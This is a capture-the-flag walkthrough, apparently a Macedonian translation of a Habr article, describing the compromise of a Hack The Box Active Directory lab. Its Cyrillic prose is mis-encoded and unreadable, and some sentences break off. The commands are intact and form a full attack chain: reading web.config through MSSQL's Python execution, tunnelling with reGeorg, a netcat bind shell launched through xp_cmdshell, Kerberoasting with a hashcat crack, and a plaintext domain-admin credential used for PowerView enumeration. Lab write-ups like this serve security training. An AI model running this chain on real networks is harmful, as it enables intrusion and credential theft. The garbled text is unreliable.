ΠΠΎ, ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ Π΅ ΠΎΠ΄Π±ΠΈΠ΅Π½. ΠΠ°ΠΊΠΎ ΠΌΠΎΠΆΠ΅ΠΌΠ΅ Π΄Π° ΡΠ° ΠΏΡΠΎΡΠΈΡΠ°ΠΌΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° ΠΎΠ΄ MSSQL, ΡΠ°ΠΌΠΎ ΡΡΠ΅Π±Π° Π΄Π° Π·Π½Π°Π΅ΠΌΠ΅ ΠΊΠΎΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΡΠΊΠΈ ΡΠ°Π·ΠΈΡΠΈ ΡΠ΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΈ. Π Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ MSSQL Π΄ΠΎΠ·Π½Π°Π²Π°ΠΌΠ΅ Π΄Π΅ΠΊΠ° ΠΈΠΌΠ° Python.
Π’ΠΎΠ³Π°Ρ Π½Π΅ΠΌΠ° ΠΏΡΠΎΠ±Π»Π΅ΠΌ Π΄Π° ΡΠ° ΠΏΡΠΎΡΠΈΡΠ°ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Π‘ΠΎ ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½ΠΈΡΠ΅ Π°ΠΊΡΠ΅Π΄ΠΈΡΠΈΠ²ΠΈ, ΠΎΠ΄Π΅ΡΠ΅ Π½Π° /admin ΠΈ ΠΏΠΎΠ΄ΠΈΠ³Π½Π΅ΡΠ΅ Π³ΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ.
ΠΏΠΎΠ΄Π½ΠΎΠΆΡΠ΅ Π·Π½Π°ΠΌΠ΅
ΠΡΡΡΠ½ΠΎΡΡ, ΠΈΠΌΠ° Π½Π΅ΠΊΠΎΠΈ Π½Π΅ΠΏΡΠΈΡΠ°ΡΠ½ΠΎΡΡΠΈ ΠΎΠ΄ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π·Π°ΡΡΠΈΡΠ΅Π½ ΡΠΈΠ΄, Π½ΠΎ Π³Π»Π΅Π΄Π°ΡΡΠΈ Π½ΠΈΠ· ΠΌΡΠ΅ΠΆΠ½ΠΈΡΠ΅ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈ, Π·Π°Π±Π΅Π»Π΅ΠΆΡΠ²Π°ΠΌΠ΅ Π΄Π΅ΠΊΠ° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ IPv6!
ΠΠΎΠ΄Π°ΡΡΠ΅ ΡΠ° ΠΎΠ²Π°Π° Π°Π΄ΡΠ΅ΡΠ° Π²ΠΎ /etc/hosts.
dead:babe::1001 poo6.htb
ΠΡΠ΄Π΅ ΠΏΠΎΠ²ΡΠΎΡΠ½ΠΎ Π΄Π° Π³ΠΎ ΡΠΊΠ΅Π½ΠΈΡΠ°ΠΌΠ΅ Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ, Π½ΠΎ ΠΎΠ²ΠΎΡ ΠΏΠ°Ρ ΠΏΡΠ΅ΠΊΡ IPv6.
Π ΡΡΠ»ΡΠ³Π°ΡΠ° WinRM Π΅ Π΄ΠΎΡΡΠ°ΠΏΠ½Π° ΠΏΡΠ΅ΠΊΡ IPv6. ΠΡΠ΄Π΅ Π΄Π° ΡΠ΅ ΠΏΠΎΠ²ΡΠ·Π΅ΠΌΠ΅ ΡΠΎ ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½ΠΈΡΠ΅ ΠΈΠ½Π³Π΅ΡΠ΅Π½ΡΠΈΠΈΡΠ΅.
ΠΠΌΠ° Π·Π½Π°ΠΌΠ΅Π½ΡΠ΅ Π½Π° ΡΠ°Π±ΠΎΡΠ½Π°ΡΠ° ΠΏΠΎΠ²ΡΡΠΈΠ½Π°, ΠΏΡΠ΅Π΄Π°Π΄Π΅ΡΠ΅ Π³ΠΎ.
P00ned Π·Π½Π°ΠΌΠ΅
ΠΠΎ ΠΈΠ·Π²ΠΈΠ΄ΡΠ²Π°ΡΠ΅ Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ ΡΠΎ
setspn.exe -T intranet.poo -Q */*
ΠΡΠ΄Π΅ Π΄Π° ΡΠ° ΠΈΠ·Π²ΡΡΠΈΠΌΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΡΠ΅ΠΊΡ MSSQL.
ΠΠ° ΠΎΠ²ΠΎΡ Π½Π°ΡΠΈΠ½, Π³ΠΎ Π΄ΠΎΠ±ΠΈΠ²Π°ΠΌΠ΅ SPN Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ p00_hr ΠΈ p00_adm, ΡΡΠΎ Π·Π½Π°ΡΠΈ Π΄Π΅ΠΊΠ° ΡΠΈΠ΅ ΡΠ΅ ΡΠ°Π½Π»ΠΈΠ²ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ ΠΊΠ°ΠΊΠΎ ΡΡΠΎ Π΅ Kerberoasting. ΠΠ°ΠΊΡΠ°ΡΠΊΠΎ, ΠΌΠΎΠΆΠ΅ΠΌΠ΅ Π΄Π° Π³ΠΈ Π΄ΠΎΠ±ΠΈΠ΅ΠΌΠ΅ Ρ
Π°ΡΠΎΠ²ΠΈΡΠ΅ Π½Π° Π½ΠΈΠ²Π½ΠΈΡΠ΅ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ.
ΠΡΠ²ΠΎ ΡΡΠ΅Π±Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΡΠ΅ ΡΡΠ°Π±ΠΈΠ»Π½Π° ΡΠΊΠΎΠ»ΠΊΠ° Π²ΠΎ ΠΈΠΌΠ΅ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ MSSQL. ΠΠΎ, Π±ΠΈΠ΄Π΅ΡΡΠΈ ΡΠΌΠ΅ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈ Π²ΠΎ ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ, ΠΈΠΌΠ°ΠΌΠ΅ Π²ΡΡΠΊΠ° ΡΠΎ Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ ΡΠ°ΠΌΠΎ ΠΏΡΠ΅ΠΊΡ ΠΏΠΎΡΡΠΈΡΠ΅ 80 ΠΈ 1433. ΠΠΎ, ΠΌΠΎΠΆΠ½ΠΎ Π΅ Π΄Π° ΡΠ΅ ΡΡΠ½Π΅Π»ΠΈΡΠ° ΡΠΎΠΎΠ±ΡΠ°ΡΠ°ΡΠΎΡ ΠΏΡΠ΅ΠΊΡ ΠΏΡΠΈΡΡΠ°Π½ΠΈΡΡΠ΅ΡΠΎ 80! ΠΠ° ΠΎΠ²Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅
ΠΠΎ, ΠΊΠΎΠ³Π° ΡΠ΅ ΠΎΠ±ΠΈΠ΄ΡΠ²Π°ΠΌΠ΅ Π΄Π° ΠΏΡΠΈΡΡΠ°ΠΏΠΈΠΌΠ΅, Π΄ΠΎΠ±ΠΈΠ²Π°ΠΌΠ΅ Π³ΡΠ΅ΡΠΊΠ° 404. Π’ΠΎΠ° Π·Π½Π°ΡΠΈ Π΄Π΅ΠΊΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ *.aspx Π½Π΅ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ. ΠΠ° Π΄Π° Π³ΠΈ Π°ΠΊΡΠΈΠ²ΠΈΡΠ°ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΡΠΎ ΠΎΠ²ΠΈΠ΅ Π΅ΠΊΡΡΠ΅Π½Π·ΠΈΠΈ, ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΡΠ΅ ASP.NET 4.5 Π½Π° ΡΠ»Π΅Π΄Π½ΠΈΠΎΠ² Π½Π°ΡΠΈΠ½.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Π ΡΠ΅Π³Π°, ΠΏΡΠΈ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ tunnel.aspx, Π³ΠΎ Π΄ΠΎΠ±ΠΈΠ²Π°ΠΌΠ΅ ΠΎΠ΄Π³ΠΎΠ²ΠΎΡΠΎΡ Π΄Π΅ΠΊΠ° ΡΓ¨ Π΅ ΠΏΠΎΠ΄Π³ΠΎΡΠ²Π΅Π½ΠΎ.
ΠΠ° Π³ΠΎ Π·Π°ΠΏΠΎΡΠ½Π΅ΠΌΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΈΠΎΡ Π΄Π΅Π» ΠΎΠ΄ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°, ΠΊΠΎΡ ΡΠ΅ Π³ΠΎ ΠΏΡΠ΅Π½Π΅ΡΡΠ²Π° ΡΠΎΠΎΠ±ΡΠ°ΡΠ°ΡΠΎΡ. ΠΠ΅ Π³ΠΎ ΠΏΡΠΎΡΠ»Π΅Π΄ΠΈΠΌΠ΅ ΡΠ΅Π»ΠΈΠΎΡ ΡΠΎΠΎΠ±ΡΠ°ΡΠ°Ρ ΠΎΠ΄ ΠΏΠΎΡΡΠ°ΡΠ° 5432 Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Π Π½ΠΈΠ΅ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ ΠΏΡΠΎΠΊΡΠΈ ΡΠΈΠ½ΡΠΈΡΠΈ Π·Π° Π΄Π° Π³ΠΎ ΠΈΡΠΏΡΠ°ΡΠΈΠΌΠ΅ ΡΠΎΠΎΠ±ΡΠ°ΡΠ°ΡΠΎΡ Π½Π° ΠΊΠΎΡΠ° Π±ΠΈΠ»ΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΏΡΠ΅ΠΊΡ Π½Π°ΡΠΈΠΎΡ ΠΏΡΠΎΠΊΡΠΈ. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΎ Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ ΠΎΠ²ΠΎΡ ΠΏΡΠΎΠΊΡΠΈ Π²ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠΊΠ°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° /etc/proxychains.conf.
Π‘Π΅Π³Π° Π°ΡΠ΄Π΅ Π΄Π° ΡΠ° ΠΈΡΠΏΡΠ°ΡΠΈΠΌΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ
Π‘Π΅Π³Π°, ΠΏΡΠ΅ΠΊΡ MSSQL, Π³ΠΎ Π»Π°Π½ΡΠΈΡΠ°ΠΌΠ΅ ΡΠ»ΡΡΠ°ΡΠ΅Π»ΠΎΡ.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Π Π½ΠΈΠ΅ ΡΠ΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΠΌΠ΅ ΠΏΡΠ΅ΠΊΡ Π½Π°ΡΠΈΠΎΡ ΠΏΡΠΎΠΊΡΠΈ.
proxychains rlwrap nc poo.htb 4321
Π Π΄Π° Π³ΠΈ Π·Π΅ΠΌΠ΅ΠΌΠ΅ Ρ
Π°ΡΠΎΠ²ΠΈΡΠ΅.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Π‘Π»Π΅Π΄Π½ΠΎ, ΡΡΠ΅Π±Π° Π΄Π° Π³ΠΈ ΠΏΠΎΠ²ΡΠΎΡΠΈΡΠ΅ ΠΎΠ²ΠΈΠ΅ Ρ
Π°ΡΠΎΠ²ΠΈ. ΠΠΈΠ΄Π΅ΡΡΠΈ ΡΠΎΠΊ Π½Π΅ΠΌΠ°Π²ΡΠ΅ ΡΠ΅ΡΠ½ΠΈΠΊ ΡΠΎ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ°, Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠ΅Π² Π‘ΠΠ’Π ΡΠ΅ΡΠ½ΠΈΡΠΈ Π·Π° Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ Π΄Π°Π΄Π΅Π½ΠΈ Π²ΠΎ Seclists. ΠΠ° Π½Π°Π±ΡΠΎΡΡΠ²Π°ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Π Π΄Π²Π΅ΡΠ΅ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ Π³ΠΈ Π½Π°ΠΎΡΠ°ΠΌΠ΅, ΠΏΡΠ²Π°ΡΠ° Π²ΠΎ ΡΠ΅ΡΠ½ΠΈΠΊΠΎΡ dutch_passwordlist.txt, Π° Π²ΡΠΎΡΠ°ΡΠ° Π²ΠΎ Keyboard-Combinations.txt.
Π ΡΠ°ΠΊΠ°, ΠΈΠΌΠ°ΠΌΠ΅ ΡΡΠΎΡΡΠ° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ, ΠΎΠ΄ΠΈΠΌΠ΅ Π΄ΠΎ ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΎΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ΅Π½ΠΎΡ. ΠΡΠ΄Π΅ ΠΏΡΠ²ΠΎ Π΄Π° ΡΠ° Π΄ΠΎΠ·Π½Π°Π΅ΠΌΠ΅ Π½Π΅Π³ΠΎΠ²Π°ΡΠ° Π°Π΄ΡΠ΅ΡΠ°.
ΠΠ΄Π»ΠΈΡΠ½ΠΎ, ΡΠ° Π½Π°ΡΡΠΈΠ²ΠΌΠ΅ IP Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΎΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ΅Π½ΠΎΡ. ΠΡΠ΄Π΅ Π΄Π° Π³ΠΈ Π΄ΠΎΠ·Π½Π°Π΅ΠΌΠ΅ ΡΠΈΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ Π½Π° Π΄ΠΎΠΌΠ΅Π½ΠΎΡ, ΠΊΠ°ΠΊΠΎ ΠΈ ΠΊΠΎΡ ΠΎΠ΄ Π½ΠΈΠ² Π΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ. ΠΠ° Π΄Π° ΡΠ° ΠΏΡΠ΅Π·Π΅ΠΌΠ΅ΡΠ΅ ΡΠΊΡΠΈΠΏΡΠ°ΡΠ° Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ PowerView.ps1. ΠΠΎΡΠΎΠ° ΡΠ΅ ΡΠ΅ ΠΏΠΎΠ²ΡΠ·Π΅ΠΌΠ΅ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ evil-winrm, Π½Π°Π²Π΅Π΄ΡΠ²Π°ΡΡΠΈ Π³ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ ΡΠΎ ΡΠΊΡΠΈΠΏΡΠ° Π²ΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ -s. Π ΠΏΠΎΡΠΎΠ° ΡΠ°ΠΌΠΎ Π²ΡΠΈΡΠ°ΡΡΠ΅ ΡΠ° ΡΠΊΡΠΈΠΏΡΠ°ΡΠ° PowerView.
Π‘Π΅Π³Π° ΠΈΠΌΠ°ΠΌΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΡΠΈΡΠ΅ Π½Π΅Π³ΠΎΠ²ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ p00_adm ΠΈΠ·Π³Π»Π΅Π΄Π° ΠΊΠ°ΠΊΠΎ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠ°Π½ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ, ΡΠ°ΠΊΠ° ΡΡΠΎ ΡΠ΅ ΡΠ°Π±ΠΎΡΠΈΠΌΠ΅ Π²ΠΎ Π½Π΅Π³ΠΎΠ²ΠΈΠΎΡ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ. ΠΡΠ΄Π΅ Π΄Π° ΡΠΎΠ·Π΄Π°Π΄Π΅ΠΌΠ΅ ΠΎΠ±ΡΠ΅ΠΊΡ PSCredential Π·Π° ΠΎΠ²ΠΎΡ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Π‘Π΅Π³Π° ΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Powershell ΠΊΠ°Π΄Π΅ ΡΡΠΎ Π³ΠΈ ΠΎΠ΄ΡΠ΅Π΄ΡΠ²Π°ΠΌΠ΅ Creds ΡΠ΅ Π±ΠΈΠ΄Π°Ρ ΠΈΠ·Π²ΡΡΠ΅Π½ΠΈ Π²ΠΎ ΠΈΠΌΠ΅ Π½Π° p00_adm. ΠΡΠ΄Π΅ Π΄Π° ΠΏΡΠΈΠΊΠ°ΠΆΠ΅ΠΌΠ΅ Π»ΠΈΡΡΠ° Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ ΠΈ Π°ΡΡΠΈΠ±ΡΡΠΎΡ AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Π ΡΠ°ΠΊΠ°, Π½Π°ΡΠΈΠΎΡ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ Π΅ Π½Π°Π²ΠΈΡΡΠΈΠ½Π° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠ°Π½. ΠΡΠ΄Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌΠ΅ Π²ΠΎ ΠΊΠΎΠΈ Π³ΡΡΠΏΠΈ ΠΏΡΠΈΠΏΠ°ΡΠ°.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ΠΠΎΠ½Π΅ΡΠ½ΠΎ ΠΏΠΎΡΠ²ΡΠ΄ΡΠ²Π°ΠΌΠ΅ Π΄Π΅ΠΊΠ° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ΅Π½. ΠΠ²Π° ΠΌΡ Π΄Π°Π²Π° ΠΏΡΠ°Π²ΠΎ Π΄Π°Π»Π΅ΡΠΈΠ½ΡΠΊΠΈ Π΄Π° ΡΠ΅ Π½Π°ΡΠ°Π²ΠΈ Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΎΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ΅Π½ΠΎΡ. ΠΡΠ΄Π΅ Π΄Π° ΡΠ΅ ΠΎΠ±ΠΈΠ΄Π΅ΠΌΠ΅ Π΄Π° ΡΠ΅ Π½Π°ΡΠ°Π²ΠΈΠΌΠ΅ ΡΠΎ WinRM ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π³ΠΎ Π½Π°ΡΠΈΠΎΡ ΡΡΠ½Π΅Π». ΠΠ΅Π² Π·Π±ΡΠ½Π΅Ρ ΠΎΠ΄ Π³ΡΠ΅ΡΠΊΠΈΡΠ΅ ΠΈΠ·Π΄Π°Π΄Π΅Π½ΠΈ ΠΎΠ΄ reGeorg ΠΏΡΠΈ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° evil-winrm.
ΠΠΎΡΠΎΠ° ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π΄ΡΡΠ³Π°, ΠΏΠΎΠ»Π΅ΡΠ½Π°,
Π‘Π΅ ΠΎΠ±ΠΈΠ΄ΡΠ²Π°ΠΌΠ΅ Π΄Π° ΡΠ΅ ΠΏΠΎΠ²ΡΠ·Π΅ΠΌΠ΅, ΠΈ ΡΠΌΠ΅ Π²ΠΎ ΡΠΈΡΡΠ΅ΠΌΠΎΡ.
ΠΠΎ, Π½Π΅ΠΌΠ° Π·Π½Π°ΠΌΠ΅. ΠΠΎΡΠΎΠ° ΠΏΠΎΠ³Π»Π΅Π΄Π½Π΅ΡΠ΅ Π³ΠΎ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠ΅ΡΠ΅ Π³ΠΈ ΡΠ°Π±ΠΎΡΠ½ΠΈΡΠ΅ ΠΏΠΎΠ²ΡΡΠΈΠ½ΠΈ.
ΠΠ° mr3ks Π³ΠΎ Π½Π°ΠΎΡΠ°ΠΌΠ΅ Π·Π½Π°ΠΌΠ΅ΡΠΎ ΠΈ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΠ°ΡΠ° Π΅ 100% Π·Π°Π²ΡΡΠ΅Π½Π°.
Π’ΠΎΠ° Π΅ ΡΠ΅. ΠΠ°ΠΊΠΎ ΠΏΠΎΠ²ΡΠ°ΡΠ½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡΠ°, ΠΊΠΎΠΌΠ΅Π½ΡΠΈΡΠ°ΡΡΠ΅ Π΄Π°Π»ΠΈ Π½Π°ΡΡΠΈΠ²ΡΠ΅ Π½Π΅ΡΡΠΎ Π½ΠΎΠ²ΠΎ ΠΎΠ΄ ΠΎΠ²Π°Π° ΡΡΠ°ΡΠΈΡΠ° ΠΈ Π΄Π°Π»ΠΈ ΡΠΎΠ° Π²ΠΈ Π±Π΅ΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΎ.
ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π½ΠΈ ΡΠ΅ ΠΏΡΠΈΠ΄ΡΡΠΆΠΈΡΠ΅ Π½Π°
ΠΠ·Π²ΠΎΡ: www.habr.com